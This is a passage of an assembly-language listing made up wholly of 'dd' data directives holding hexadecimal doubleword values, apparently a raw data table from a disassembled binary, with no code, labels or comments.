		dd 3A303h, 5 dup(40004h), 0C4040004h, 5500E102h, 0F801h
		dd 5 dup(40004h), 0D7040004h, 25007701h, 0FB02h, 5 dup(40004h)
		dd 4040004h, 7043803h, 48A03h, 0Eh dup(40004h),	0E0040004h
		dd 40003h, 6 dup(40004h), 0E0040004h, 42003h, 0Eh dup(40004h)
		dd 20040004h, 3E004h, 6	dup(40004h), 0E107E104h, 0FE040007h
		dd 40003h, 74040004h, 6A001h, 2	dup(40004h), 2A040004h
		dd 51044C02h, 70004h, 5	dup(40004h), 9E040004h,	1C050204h
		dd 7D04F205h, 0D204C504h, 40003h, 0Ch dup(40004h), 0A907E104h
		dd 6B040004h, 5CA02h, 0D1040004h, 7B033B00h, 72404h, 40004h
		dd 81040004h, 0AE02DD03h, 9046604h, 0A304D803h,	47A04h
		dd 3 dup(40004h), 53040004h, 6D02AA04h,	86041D03h, 27040104h
		dd 73042505h, 22049904h, 34043304h, 3F041E05h, 9 dup(40004h)
		dd 5407E104h, 0C6040003h, 3AE00h, 4040004h, 1C03A802h
		dd 6CA03h, 40004h, 0E2040004h, 0F7035003h, 0A2042103h
		dd 64020003h, 5B804h, 3	dup(40004h), 78040004h,	8F033504h
		dd 47042C03h, 0D5039F05h, 52048603h, 0F204AA04h, 0A6042203h
		dd 89053903h, 40005h, 8	dup(40004h), 0C107E104h, 92040003h
		dd 35500h, 3A040004h, 9A02DC01h, 5B903h, 40004h, 78040004h
		dd 0B5020F04h, 9B046604h, 0B503B203h, 61B03h, 3	dup(40004h)
		dd 0A7040004h, 4403E004h, 34032303h, 49040304h,	77041C05h
		dd 7F04EB04h, 7C065703h, 64053B04h, 40005h, 7 dup(40004h)
		dd 0E8040004h, 0E1033E02h, 6E03D103h, 0E203A503h, 0D803AD03h
		dd 38046403h, 36049004h, 5904D105h, 0DE033A04h,	4E042A04h
		dd 0A603B404h, 0DC04B404h, 0C103CD03h, 4F03BC03h, 6C043203h
		dd 0D303FF03h, 2C044904h, 0F9047103h, 0FA041A03h, 0A03C003h
		dd 0D204B104h, 51038503h, 0FB04F503h, 21037603h, 1D038D05h
		dd 0F203F604h, 3B03D103h, 56041F04h, 9903F804h,	0E2031303h
		dd 7103E403h, 6F047B04h, 7C039404h, 36049A04h, 73033504h
		dd 1D042704h, 0D403F604h, 2003D903h, 303C904h, 97047404h
		dd 78045B03h, 0FC045304h, 6504CF03h, 98027E05h,	4503E603h
		dd 1E036504h, 1F03DF04h, 4703BB04h, 1304A404h, 38042D04h
		dd 0A0041404h, 0C203C303h, 6A03A303h, 603E303h,	0D5045D04h
		dd 1E047A03h, 0E3041404h, 41403h, 44704h, 0D303AC04h, 2E036A03h
		dd 0CD030B04h, 4A03A203h, 9A04DA04h, 5603C103h,	5D03B303h
		dd 68407h, 0E5065F04h, 0F9045E03h, 5505F202h, 44804h, 0C05D504h
		dd 0B3057005h, 0B9048601h, 4D505h, 9F063404h, 0A706EC04h
		dd 0B6056D02h, 4D605h, 27067404h, 0F062E04h, 11052D03h
		dd 4A305h, 30h dup(40004h), 1E059004h, 0B0047405h, 3D044C03h
		dd 45A04h, 0E3055304h, 8A05F005h, 0B704A604h, 41603h, 5E04FF04h
		dd 5F047605h, 9503A604h, 3AB04h, 4105B104h, 4E047104h
		dd 9B039F04h, 48204h, 30h dup(40004h), 0BC07BC04h, 77040007h
		dd 40007h, 0F2040004h, 41E06h, 2 dup(40004h), 87040004h
		dd 104D406h, 41F04h, 5 dup(40004h), 80040004h, 0D9045C05h
		dd 0C1041F04h, 0FF03C103h, 42003h, 0Bh dup(40004h), 0A4040004h
		dd 803CD03h, 3503C704h,	0C1043F04h, 3E003h, 43F04h, 20043F04h
		dd 0E0042004h, 40003h, 17h dup(40004h),	8A040004h, 0C3049E04h
		dd 20037203h, 0FF03E604h, 0C3043D03h, 3F03C203h, 40004h
		dd 3C104h, 42004h, 1040004h, 40004h, 0C1040004h, 2 dup(0E0040003h)
		dd 40003h, 3E004h, 30h dup(40004h), 75040004h, 63F07h
		dd 7F066704h, 7C033E05h, 0E1052C03h, 4AE03h, 0D3068F04h
		dd 1D03A404h, 28027A02h, 5D703h, 0E3067604h, 9A055005h
		dd 8E045103h, 3C305h, 0D1065004h, 0E903EA02h, 70024002h
		dd 47203h, 30h dup(40004h), 9803C004h, 2046203h, 55037B04h
		dd 3F304h, 0E7037704h, 0AA053703h, 0BC03BB03h, 3C703h
		dd 0A4043104h, 21045303h, 0E103B504h, 3E603h, 30041904h
		dd 5904D703h, 0E0036604h, 42003h, 30h dup(40004h), 39074204h
		dd 0FA03C107h, 42006h, 8C03C104h, 20040206h, 2 dup(40004h)
		dd 6203C104h, 3F03E005h, 0E003C104h, 40003h, 4 dup(40004h)
		dd 0F703C104h, 0FF043104h, 1045D03h, 40004h, 43F04h, 3E004h
		dd 0Ah dup(40004h), 2B03C104h, 8C04E204h, 2003A704h, 0A3042004h
		dd 0E0040003h, 3E003h, 40004h, 1040004h, 2 dup(40004h)
		dd 42004h, 15h dup(40004h), 0DF03C104h,	43043903h, 8C03C104h
		dd 20042003h, 0E0040104h, 0E0040003h, 40003h, 41E04h, 40004h
		dd 3E004h, 42004h, 3 dup(40004h), 20040004h, 3E004h, 3 dup(40004h)
		dd 0E0040004h, 40003h, 2Bh dup(40004h),	3C104h,	0A4043204h
		dd 8B055F02h, 90043103h, 0D203D906h, 0DE01D006h, 0ED03E701h
		dd 70021406h, 0E4032A04h, 0B5043404h, 9403E603h, 1A074305h
		dd 8D05C401h, 0E041E03h, 70027905h, 95039705h, 36024302h
		dd 0EE02CE06h, 71051704h, 0DF042604h, 0CC04AD05h, 51039B04h
		dd 0D604FE04h, 88077802h, 0E1033601h, 9405B704h, 42043F03h
		dd 51045705h, 0EB041A03h, 0D6040403h, 10042303h, 3705DE04h
		dd 1001C203h, 7D04EB06h, 0FD02BE04h, 74047904h,	0F503FF04h
		dd 46047904h, 94037103h, 85050603h, 6204F503h, 7903C705h
		dd 3E040204h, 4900AC04h, 6903E204h, 4603A104h, 5503F404h
		dd 9105F203h, 9203FF04h, 97060F04h, 8C061F03h, 0CA040504h
		dd 1045E03h, 0FF047A04h, 55045D03h, 9A030D04h, 58025804h
		dd 5D02AA04h, 95049604h, 0F603DF04h, 1A042003h,	8D040104h
		dd 1E045D02h, 3D033504h, 801CE04h, 9F03E406h, 1048D04h
		dd 2043F04h, 0AB027E04h, 0E2041F04h, 0D9042003h, 0FF03A904h
		dd 0E103C103h, 3D03AB04h, 0AB045104h, 69037004h, 0F053803h
		dd 0BE038604h, 0A5043B03h, 7303EC03h, 9B03E104h, 0FE03DF04h
		dd 0F0040003h, 9603E103h, 0CB049C03h, 5101AE05h, 0B304AD04h
		dd 57033A03h, 0F2049404h, 0A003E103h, 13053904h, 3906DB07h
		dd 0FC040304h, 31045C04h
		dd 60042404h, 31043C04h, 4B043F04h, 3001C805h, 0AC047A03h
		dd 3C021902h, 1C047202h, 2203C104h, 0FA03C504h,	4E039003h
		dd 9F043F04h, 3D03A204h, 5D040004h, 0E103E104h,	5C040003h
		dd 0FF03C104h, 0B903AB03h, 0E2040104h, 9F04B103h, 20040204h
		dd 3B042C04h, 9603E004h, 35040004h, 0FE03E004h,	7403E103h
		dd 5903FE04h, 5D03C104h, 3F03FF04h, 3E03C104h, 5D020404h
		dd 3F040004h, 3F03E004h, 5D03B104h, 20042004h, 19B04h
		dd 0A2043704h, 2076303h, 5804DD05h, 62046607h, 16054006h
		dd 0C704C705h, 0E0040106h, 0B703C603h, 1E042005h, 80050B04h
		dd 2305E804h, 0D6057104h, 2003CF03h, 40004h, 0E0040004h
		dd 37042003h, 2003FF05h, 0E003E004h, 0A3041E03h, 0E2042003h
		dd 9703E003h, 42002h, 0FE048C04h, 22045703h, 1E045C04h
		dd 38604h, 40004h, 42004h, 40004h, 3E004h, 0E0043F04h
		dd 5B040003h, 3FF04h, 2	dup(40004h), 20040004h,	20042004h
		dd 2003FF04h, 2003E104h, 0E0040004h, 0E0042003h, 0E003C103h
		dd 2003E003h, 40004h, 0C1042004h, 0FF043F03h, 0E0045A03h
		dd 5D040003h, 86047404h, 0E003C103h, 40003h, 3FF04h, 7 dup(40004h)
		dd 3E004h, 0C1040004h, 40003h, 40004h, 0EC040004h, 0E0040002h
		dd 3E003h, 3E004h, 5 dup(40004h), 0E0040004h, 0E0040003h
		dd 40003h, 0E0040004h, 0E0040003h, 0E003E003h, 40003h
		dd 4 dup(40004h), 3E004h, 40004h, 3C104h, 2 dup(40004h)
		dd 0E0040004h, 40003h, 0C103A304h, 0E003E003h, 0E003C103h
		dd 0E003E003h, 3E003h, 0A3040004h, 0C1040003h, 40003h
		dd 2 dup(3C104h), 1Ch dup(40004h), 0DA035004h, 39041500h
		dd 0F4031501h, 0FE036903h, 0DB02F603h, 0D702F401h, 0C103A402h
		dd 38045303h, 0A3041E04h, 61043903h, 0C803E003h, 0ED037002h
		dd 2EC02h, 20036A04h, 0C103A304h, 0C103E003h, 42003h, 1040004h
		dd 0DE036A04h, 3B042003h, 0A5041804h, 3F040004h, 0D03E004h
		dd 6A042003h, 0E003E403h, 20043103h, 40004h, 43F04h, 40004h
		dd 3C104h, 40004h, 0FF03E004h, 0E003E003h, 20040003h, 40004h
		dd 0E0040004h, 20040003h, 20045D04h, 3E004h, 2 dup(40004h)
		dd 3E004h, 3A304h, 40004h, 0FA040004h, 0C103E003h, 0E0042003h
		dd 20040003h, 0E2040004h, 2003E203h, 42004h, 3E004h, 2 dup(40004h)
		dd 3F040004h, 4	dup(40004h), 42004h, 3 dup(40004h), 3F042004h
		dd 43F04h, 6 dup(40004h), 20040004h, 42004h, 40004h, 20040004h
		dd 5 dup(40004h), 20040004h, 4 dup(40004h), 20042004h
		dd 6 dup(40004h), 7A040004h, 3 dup(40004h), 5D040004h
		dd 5 dup(40004h), 20040004h, 42004h, 18h dup(40004h), 0BB03A104h
		dd 87056803h, 0F3053704h, 0B2040F05h, 1903F205h, 8F050803h
		dd 15039406h, 0DD033804h, 1F039004h, 0E603C604h, 0C1056104h
		dd 0A9043F02h, 0E503D103h, 12041B03h, 98049C04h, 0D3032703h
		dd 0E103E204h, 0E0044103h, 0FD047003h, 70046603h, 7003DF04h
		dd 0A7042003h, 0CB058C03h, 16040103h, 3E04A105h, 0C703FF04h
		dd 0FF043F03h, 103A903h, 6A041A04h, 1043B04h, 0C2045D04h
		dd 41032303h, 1C03E804h, 5D03E204h, 0FF045D04h,	3F047A03h
		dd 3E03E604h, 1043F04h,	75045D04h, 0B7047A04h, 5D043304h
		dd 74047A04h, 7A032B04h, 20045D04h, 5003C304h, 3F040104h
		dd 3F043E04h, 16043F04h, 0A5047A04h, 5D051303h,	0E2042004h
		dd 3F042003h, 7A043F04h, 1042004h, 5D045D04h, 7A03E304h
		dd 7A03C304h, 92045D04h, 20041E04h, 3F043F04h, 0C3040104h
		dd 5D042003h, 7A03C104h, 43038704h, 0E2040204h,	3E036A03h
		dd 5D041E04h, 7A03C504h, 20040004h, 5D040004h, 3E03E004h
		dd 5D040004h, 3F042004h, 3E03E104h, 3F03C104h, 3F040004h
		dd 7A03FF04h, 7A03E004h, 7A043F04h, 6C040004h, 5D03A304h
		dd 5D03E004h, 7A040004h, 55040004h, 3D03A304h, 0C203F004h
		dd 5D040003h, 2	dup(20040004h),	0FC042004h, 2004B004h
		dd 1E03E004h, 0E2042004h, 3F042003h, 0C1040004h, 0A3040003h
		dd 5702EC04h, 0DF042004h, 0B302BF03h, 1E042003h, 2 dup(20040004h)
		dd 3F03C104h, 0FF03E004h, 0E2040003h, 3F042003h, 1040004h
		dd 3F042004h, 7A03C104h, 2003E004h, 5D040004h, 7A043E04h
		dd 20040004h, 3F03E104h, 5D040004h, 72040004h, 3F042004h
		dd 3F03E004h, 0FF03E004h, 3F040003h, 20040004h,	3F03E004h
		dd 3F036A04h, 5D042004h, 20040004h, 7A03A304h, 3E040004h
		dd 3AF04h, 0C04A104h, 0AC055405h, 0F1041804h, 2F03FD04h
		dd 5D03E004h, 7A040004h, 0E003FF04h, 3F03E303h,	40104h
		dd 3F042004h, 42004h, 0E0043F04h, 3E003h, 3FF04h, 0E0040004h
		dd 0E0040103h, 20040003h, 40004h, 0E0040004h, 0E003E003h
		dd 40003h, 2 dup(40004h), 20040004h, 2 dup(40004h), 0E003E004h
		dd 3E003h, 40004h, 3E004h, 42004h, 10h dup(40004h), 0E0040004h
		dd 40003h, 0Bh dup(40004h), 0E0040004h,	40003h,	42h dup(40004h)
		dd 0F101E804h, 0A039502h, 35040304h, 6A037A03h,	2003C203h
		dd 0E203E204h, 103A303h, 0E0041A04h, 42003h, 2003C104h
		dd 40004h, 0A3040004h, 1042003h, 3E004h, 0E003E004h, 1040003h
		dd 20042004h, 2	dup(40004h), 20042004h,	0E0040004h, 40003h
		dd 3F040004h, 40004h, 45D04h, 5	dup(40004h), 20040004h
		dd 40004h, 42004h, 20040004h, 8	dup(40004h), 3E004h, 2Ah dup(40004h)
		dd 42004h, 2Ah dup(40004h), 2B047B04h, 0B1049B03h, 0A033503h
		dd 65040A06h, 0EC04D505h, 5804A603h, 2B03D305h,	7602E605h
		dd 8A051E04h, 0D9051603h, 0C7048C03h, 0F4059603h, 44F02h
		dd 2038604h, 0E0045D05h, 5B03C603h, 0EA039604h,	0A1043E04h
		dd 0E8049804h, 43047604h, 0BD043204h, 7603FC03h, 0FE04C903h
		dd 5503C103h, 0A704A604h, 0FF03FF03h, 0C103A303h, 6D03A903h
		dd 1E040104h, 20040004h, 3D043F04h, 0D03E604h, 0B104B104h
		dd 1404AF04h, 0CB04E405h, 8A045D04h, 13040204h,	8C03AF05h
		dd 0E3040204h, 303E203h, 0F0047A04h, 0C4048C04h, 0C6038B03h
		dd 23047403h, 9045603h,	1304CC05h, 7A054303h, 21047A04h
		dd 8A043F04h, 2004CB03h, 20043F04h, 3F042004h, 20040104h
		dd 2003E204h, 20043F04h, 92038604h, 20038603h, 3F042004h
		dd 42004h, 20040004h, 0FF040004h, 0C5040003h, 8603E003h
		dd 2103E003h, 36A04h, 0B1040004h, 0C9040004h, 41041F04h
		dd 0FC043F05h, 9603E004h, 7A040004h, 0FC042004h, 0E2047A04h
		dd 2E03E103h, 0C503E105h, 3E03A303h, 3F03DF04h,	103C104h
		dd 20045D04h, 2003FF04h, 7403E204h, 4103FF04h, 1042004h
		dd 7A03E004h, 5B040104h, 3F03EB04h, 20038604h, 8E042004h
		dd 0F5034B03h, 67048E04h, 66047A04h, 76039404h,	46033204h
		dd 7A03C204h, 1F040004h, 5D03E004h, 103A304h, 0A9040004h
		dd 0E602EC03h, 20040003h, 1F040004h, 20042004h,	20040004h
		dd 0FF040004h, 20040003h, 20042004h, 20040004h,	2003C104h
		dd 1040004h, 20040004h,	40004h,	0C1043D04h, 3C103h, 20043E04h
		dd 0E0040004h, 0FF040003h, 20040003h, 2	dup(40004h), 20040004h
		dd 40004h, 20040004h
		dd 3E004h, 20040004h, 0E003A304h, 3C103h, 3F043F04h, 3A304h
		dd 9071004h, 9504E407h,	0FC050006h, 83040003h, 1E03C303h
		dd 5D051304h, 43F04h, 86040004h, 20041303h, 0FF049604h
		dd 0D904B103h, 103E003h, 40004h, 42004h, 40004h, 42004h
		dd 4F03C104h, 3E003h, 96040004h, 0E003C104h, 8603E003h
		dd 40003h, 3C504h, 20040004h, 6	dup(40004h), 0E0040004h
		dd 40003h, 5 dup(40004h), 0E3040004h, 40003h, 5	dup(40004h)
		dd 41E04h, 3C104h, 40004h, 0E0040004h, 40003h, 1Ah dup(40004h)
		dd 0C1040004h, 40003h, 0Bh dup(40004h),	0E0040004h, 40003h
		dd 26h dup(40004h), 7A04F604h, 0AC040102h, 6A018C02h, 9B03E003h
		dd 8C03B202h, 55603h, 3E204h, 0A303E004h, 40103h, 0E003C104h
		dd 8B040003h, 0E0040003h, 1040003h, 42004h, 2 dup(40004h)
		dd 2 dup(20042004h), 2 dup(40004h), 3F040004h, 20040004h
		dd 2003E104h, 40004h, 42004h, 40004h, 20042004h, 11h dup(40004h)
		dd 20040004h, 2Bh dup(40004h), 20040004h, 27h dup(40004h)
		dd 0C9033504h, 0B9025F03h, 7B035103h, 0D6058205h, 6B028604h
		dd 5D044903h, 0AE03E405h, 0EE01E104h, 94039005h, 8E053604h
		dd 1903A704h, 0D103B903h, 0A4036A03h, 0E7038C03h, 0E003B804h
		dd 0CA03CE03h, 103E104h, 5403C904h, 9D039B04h, 204BB04h
		dd 5003E004h, 5B040104h, 86054504h, 58040203h, 2004B504h
		dd 0E0043B04h, 0E003FF03h, 0F703A903h, 2D04A804h, 4CC04h
		dd 0AA042004h, 0F6038C03h, 0E0046E04h, 1043F03h, 5D043F04h
		dd 0D5045C04h, 0FE047004h, 20037403h, 0C5043E04h, 7A043F04h
		dd 20047A04h, 87043F04h, 72045D03h, 3C043E04h, 0E7042004h
		dd 0E2043F03h, 5304CB03h, 94040004h, 0EC040104h, 20045D02h
		dd 3F040004h, 3FF04h, 3F03E004h, 40104h, 0E003E004h, 0A8043F03h
		dd 74035F04h, 0C203C504h, 0D503C303h, 38602h, 0E0040004h
		dd 86040003h, 0C3031C03h, 21032703h, 4040104h, 43F04h
		dd 3F03E004h, 20040004h, 3F042004h, 20040004h, 0C3040004h
		dd 1403E003h, 3F040105h, 103C104h, 1040104h, 49049204h
		dd 67045C04h, 0AC03E003h, 5D040104h, 0FF042004h, 0C1040003h
		dd 20040003h, 0C1040004h, 20040003h, 0E2036A04h, 1E040003h
		dd 86042004h, 86040103h, 0C1043F03h, 0CB03E003h, 0FF04E404h
		dd 20040003h, 0DE040104h, 96040003h, 0E2040104h, 0FE041E03h
		dd 0C103E003h, 3C103h, 0A3031E04h, 20040003h, 40004h, 1F040004h
		dd 0E0042004h, 42003h, 40004h, 1042004h, 20040004h, 3E004h
		dd 40004h, 3E004h, 0E2042004h, 0D5042003h, 1037404h, 86047504h
		dd 2003E003h, 1042004h,	20047A04h, 45D04h, 2D504h, 38604h
		dd 2 dup(40004h), 3E004h, 40004h, 38604h, 0FF046E04h, 20038603h
		dd 34104h, 45060C04h, 0A303A305h, 3C103h, 41E04h, 42004h
		dd 3E004h, 57040004h, 2	dup(40004h), 56204h, 40004h, 42004h
		dd 40004h, 7A040004h, 40004h, 42004h, 2	dup(40004h), 0A903E004h
		dd 8 dup(40004h), 0A3040004h, 40003h, 40004h, 0E0040004h
		dd 40003h, 5 dup(40004h), 0E1040004h, 42003h, 7	dup(40004h)
		dd 42004h, 1Ch dup(40004h), 0E0040004h,	3E003h,	0Fh dup(40004h)
		dd 0E0040004h, 40003h, 22h dup(40004h),	0E602BD04h, 7102A703h
		dd 3C102h, 47604h, 24804h, 3E004h, 40004h, 3E004h, 0E0040004h
		dd 43F03h, 8 dup(40004h), 5C040004h, 3 dup(40004h), 0E0040004h
		dd 40003h, 3 dup(40004h), 20040004h, 9 dup(40004h), 20040004h
		dd 26h dup(40004h), 20042004h, 33h dup(40004h),	9504AC04h
		dd 0D802CB04h, 4A054105h, 63023B04h, 23037905h,	7D03C304h
		dd 3A031905h, 6E03D203h, 0B045704h, 0A803A205h,	0AD057F04h
		dd 0C304A003h, 3A043F03h, 0D003FE04h, 8E032703h, 0A6041403h
		dd 0F5041803h, 0B903D703h, 0BD042004h, 0F504F904h, 0EF02B603h
		dd 2903A903h, 5C03BF04h, 0FC036A03h, 0E1049404h, 3F03E003h
		dd 1B03FF04h, 2003B104h, 0E203A904h, 0A6044703h, 4A046F03h
		dd 0DC03FB04h, 0A904E504h, 21052104h, 3B049404h, 0D704B104h
		dd 0FF045D04h, 6C03E003h, 6703FF04h, 3203FF03h,	9F050804h
		dd 77047904h, 0E403F103h, 84054104h, 0A5048C04h, 0E0036F04h
		dd 0E0050B03h, 22038E03h, 88040004h, 20045D03h,	3FF04h
		dd 0C203E004h, 0A303FF03h, 1E043F03h, 2003C204h, 1E03C304h
		dd 0FF043F04h, 2003E603h, 0E3045D04h, 0CA047A04h, 12054104h
		dd 9904EC04h, 0B053005h, 0F704F905h, 2B03C103h,	0C503E205h
		dd 0A03A304h, 7A03E005h, 3A045D04h, 5D03E004h, 78042004h
		dd 0FC040004h, 1F03E004h, 20040004h, 3E004h, 3D03E004h
		dd 2003FE04h, 5D03FF04h, 0E0037304h, 0C5042003h, 46042303h
		dd 0AF043F03h, 0DD03A303h, 0A103F603h, 4604B804h, 0C003C205h
		dd 4C040003h, 6C040003h, 0C403C103h, 0B1042003h, 1F042003h
		dd 3F043F04h, 1E03E004h, 3E004h, 20042004h, 1E03E104h
		dd 38604h, 0C1040004h, 0A303C403h, 20040003h, 0E0040004h
		dd 42003h, 40004h, 0E003E004h, 1041F03h, 3FF04h, 103E104h
		dd 1F040004h, 0E0043F04h, 3F045D03h, 3F042004h,	3F043F04h
		dd 3F03E004h, 20040004h, 2 dup(3F03E004h), 7A042004h, 5803E004h
		dd 96042004h, 0FC042004h, 41043F04h, 0FC040005h, 2B037604h
		dd 0CA043F05h, 6B043F05h, 6203FF05h, 5603A505h,	38E05h
		dd 1E056C04h, 33049F06h, 0E0051405h, 38038503h,	7A042005h
		dd 40004h, 0E0049604h, 0AF037303h, 0E0040003h, 0C1048003h
		dd 43F03h, 43F04h, 1E040004h, 3E004h, 7A03FF04h, 5D03D704h
		dd 3A304h, 40004h, 3B040004h, 43F04h, 3F040004h, 40004h
		dd 0FF040004h, 40003h, 4 dup(40004h), 0E0040004h, 0E0040003h
		dd 8603A303h, 20033503h, 5 dup(40004h),	0C1040004h, 103FF03h
		dd 2 dup(40004h), 0E0040004h, 40003h, 9	dup(40004h), 3E004h
		dd 0Ah dup(40004h), 0E0041F04h,	40003h,	0Bh dup(40004h)
		dd 0E003E004h, 0E003E003h, 40003h, 5 dup(40004h), 3E004h
		dd 7 dup(40004h), 3E004h, 21h dup(40004h), 0E0040004h
		dd 3E003h, 81004204h, 0BF00B402h, 7203E102h, 15103h, 0C502BF04h
		dd 3E203h, 0C103E004h, 0A4026403h, 40003h, 3F03E204h, 43F04h
		dd 40004h, 0FF040004h, 40003h, 6A040004h, 2A203h, 42004h
		dd 40004h, 0A3040004h, 40003h, 5 dup(40004h), 0C1040004h
		dd 42003h, 2 dup(40004h), 5D040004h, 5D043F04h,	103E404h
		dd 5 dup(40004h), 0E0040004h, 3E003h, 2	dup(40004h), 0E0040004h
		dd 40003h, 2 dup(40004h), 0E0040004h, 40003h, 5	dup(40004h)
		dd 42004h, 0Ah dup(40004h), 3E204h, 42004h, 3Dh	dup(40004h)
		dd 20040004h, 42004h, 8D055C04h, 38054501h, 3F05C004h
		dd 88032705h, 6F02D505h, 9F055400h, 2302A206h, 61033904h
		dd 0E303C203h, 93044403h, 1506E404h, 9D051C01h,	0CB03FF01h
		dd 0AD031204h, 0B303FD04h, 1902E803h, 1F032A04h, 72039A04h
		dd 57041404h, 0F604A705h, 0B6030503h, 0C1036003h, 26073C03h
		dd 0E403C403h, 0E105D304h, 57042003h, 72040004h, 94035E04h
		dd 3E041E04h, 0A4041F04h, 1E04BF03h, 90026304h,	7A047804h
		dd 0FF040104h, 0E0047A03h, 4F049503h, 14047A04h, 0D5040604h
		dd 9E03E002h, 3B049603h, 0BA052C04h, 0FE03BB04h, 8B00E403h
		dd 0FE034804h, 4D046803h, 3503C105h, 1F057F03h,	1045704h
		dd 0C0040004h, 0E004FC02h, 3F040103h, 0E2042004h, 40103h
		dd 20040004h, 1F042004h, 0A502D504h, 3F03C103h,	7A042004h
		dd 5D043F04h, 7A043F04h, 0CF047904h, 1E042003h,	2003C104h
		dd 74036B04h, 9603E004h, 0B1042004h, 5D043F04h,	3F033504h
		dd 1040104h, 20040004h,	7603C104h, 96042004h, 0FF03C104h
		dd 0C2040003h, 5D03A303h, 3F03E204h, 2AA04h, 0E203E004h
		dd 0E303A303h, 0D5040003h, 9A034F03h, 43041F03h, 0E003C103h
		dd 7803E403h, 32021D05h, 0EC047704h, 4F038602h,	0A3043803h
		dd 8E03A303h, 0A6043F03h, 5CA06h, 3C104h, 6044F04h, 1040004h
		dd 0C3042004h, 3D042003h, 38604h, 12040004h, 4021803h
		dd 40003h, 0E003E004h, 0C103E003h, 20040003h, 1040004h
		dd 0E003A304h, 42003h, 40004h, 20040004h, 20043F04h, 5D040004h
		dd 3C104h, 1045B04h, 3E204h, 0FF03C104h, 20040003h, 3E040004h
		dd 1040004h, 5D040004h,	3F040004h, 7A040004h, 96040004h
		dd 0E203E004h, 20036A03h, 3F040004h, 3E004h, 2003C104h
		dd 7A040004h, 2BF04h, 3E068A04h, 95047404h, 7605BE04h
		dd 21038604h, 1A043B04h, 96043F04h, 40004h, 45D04h, 0FF042004h
		dd 1E040003h, 58B04h, 0A3045D04h, 40003h, 40004h, 5D040004h
		dd 40004h, 0E0040004h, 0E0040003h, 40003h, 3E004h, 8D042004h
		dd 40003h, 43F04h, 40004h, 43F04h, 4 dup(40004h), 0E0040004h
		dd 40003h, 9 dup(40004h), 20040104h, 1040004h, 4 dup(40004h)
		dd 45D04h, 40004h, 0E0040004h, 40003h, 1Eh dup(40004h)
		dd 0E0040004h, 40003h, 40004h, 0E0040004h, 40003h, 3A304h
		dd 2Ah dup(40004h), 1B040204h, 1E02C101h, 3E804h, 0E003A904h
		dd 8703E003h, 3A302h, 0E0040004h, 0E2040103h, 0E0040003h
		dd 3D03E003h, 0C103C104h, 0C1040003h, 40003h, 40004h, 20042004h
		dd 3E004h, 43F04h, 40004h, 42004h, 0C1040004h, 1B040003h
		dd 3FF04h, 0A3040004h, 40003h, 5 dup(40004h), 3F040004h
		dd 40004h, 3E004h, 0Ah dup(40004h), 3C504h, 42004h, 3F040004h
		dd 3 dup(40004h), 20040004h, 0Eh dup(40004h), 3E004h, 11h dup(40004h)
		dd 20040004h, 0Ah dup(40004h), 5D040004h, 22h dup(40004h)
		dd 42004h, 0E047C04h, 0B3040405h, 0C103B505h, 9C037803h
		dd 5203C205h, 20040504h, 73043805h, 0A702EF04h,	8E046406h
		dd 0D3037103h, 0E0038503h, 0F904AC03h, 0B903A602h, 0AA03A303h
		dd 10030403h, 0F1039104h, 0B504F005h, 88049E04h, 0E7034105h
		dd 0E1045204h, 0AA04CE03h, 303FE04h, 0A9032204h, 9E04B005h
		dd 0E105B104h, 0B4043D03h, 60045A04h, 4B04B404h, 5D043904h
		dd 49041D04h, 1E046E04h, 0BC030904h, 99050404h,	0E6047A04h
		dd 91045704h, 4E043C04h, 17044306h, 2503A605h, 7B043A04h
		dd 8C044504h, 0EB04B804h, 0C3049604h, 88047904h, 0F048504h
		dd 43053005h, 0C4036505h, 9806CB02h, 7D04F505h,	0C2045904h
		dd 7A045D03h, 1A049604h, 0BD049604h, 0DE047A04h, 0CB04CB04h
		dd 2B045D04h, 14047A05h, 2B049505h, 9604E405h, 0FC043F04h
		dd 9204AD04h, 0CB047A04h, 78045D04h, 3D045B04h,	2003FA04h
		dd 77047504h, 0B803F805h, 1E045C04h, 7F03E004h,	0CB03E105h
		dd 0BF041E04h, 3B042004h, 0F1043F04h, 96042005h, 3803A304h
		dd 5D03E004h, 3F04FF04h, 3D03E604h, 8E03C104h, 96041804h
		dd 7003FF04h, 91041F04h, 0CB043F04h, 5703C104h,	14040004h
		dd 9603E205h, 0A9042004h, 96041E04h, 0F4043E04h, 0AF029802h
		dd 0B3041603h, 9F040C03h, 0F1044804h, 0F504C605h, 23041A05h
		dd 14047A04h, 0B1042005h, 3E03C304h, 3F03E004h,	3B031A04h
		dd 7A03E004h, 96040004h, 7A040004h, 96041E04h, 1E040004h
		dd 7A03C104h, 0FC040004h, 0CB03E004h, 94040004h, 5D040004h
		dd 0FC040004h, 7A040004h, 14040004h, 0B1040005h, 0BF03E004h
		dd 0AD040004h, 96040004h, 3F040004h, 0FC040004h, 0CB040004h
		dd 0B1042004h, 7A042004h, 0CB040004h, 5D040004h, 72040004h
		dd 96040104h, 7A040104h, 0C5043F04h, 37804h, 0E8063D04h
		dd 0E304BC05h, 0E704D804h, 0EB047904h, 3C047804h, 4F043904h
		dd 0E2040004h, 0A603C103h, 0C2045904h, 20042003h, 603E004h
		dd 0E0045B04h, 3E003h, 42004h, 40004h, 3F03E004h, 0FF040004h
		dd 2 dup(0E0040003h), 40003h, 40004h, 3E004h, 0C1040004h
		dd 40003h, 42004h, 6 dup(40004h), 0FF03E004h, 43F03h, 0Bh dup(40004h)
		dd 40104h, 3E004h, 2 dup(40004h), 20040004h, 0Eh dup(40004h)
		dd 0E0040004h, 0C1040003h, 40003h, 16h dup(40004h), 0E0040004h
		dd 40003h, 25h dup(40004h), 3E004h, 0AF029204h,	0CE039902h
		dd 3A022303h, 0EC03FC04h, 0C7040603h, 0E2045303h, 5D041F03h
		dd 1E03A304h, 20042004h, 7A040104h, 20041F04h, 5703E004h
		dd 42004h, 20040004h, 40004h, 0C103C104h, 1042003h, 2 dup(40004h)
		dd 20042004h, 40004h, 1040004h,	3F03A304h, 42004h, 2 dup(40004h)
		dd 20040004h, 4	dup(40004h), 3F03E004h,	40004h,	20040004h
		dd 42004h, 0Ah dup(40004h), 43F04h, 11h	dup(40004h), 3E004h
		dd 21h dup(40004h), 20040004h, 1Eh dup(40004h),	2D065404h
		dd 3301F107h, 92042A06h, 7C032704h, 7803F305h, 0C004E704h
		dd 40040304h, 0B3034503h, 55054D03h, 9C043005h,	14036E04h
		dd 45060504h, 1E042104h, 9E045B04h, 0F4033203h,	0A9047303h
		dd 0D204A602h, 1A045B03h, 5303EF05h, 9B050C05h,	70033B04h
		dd 4C037D04h, 8D050A03h, 9004D804h, 20045B03h, 1E03C104h
		dd 3B040104h, 7A03E004h, 20036E04h, 88035404h, 0C1038B03h
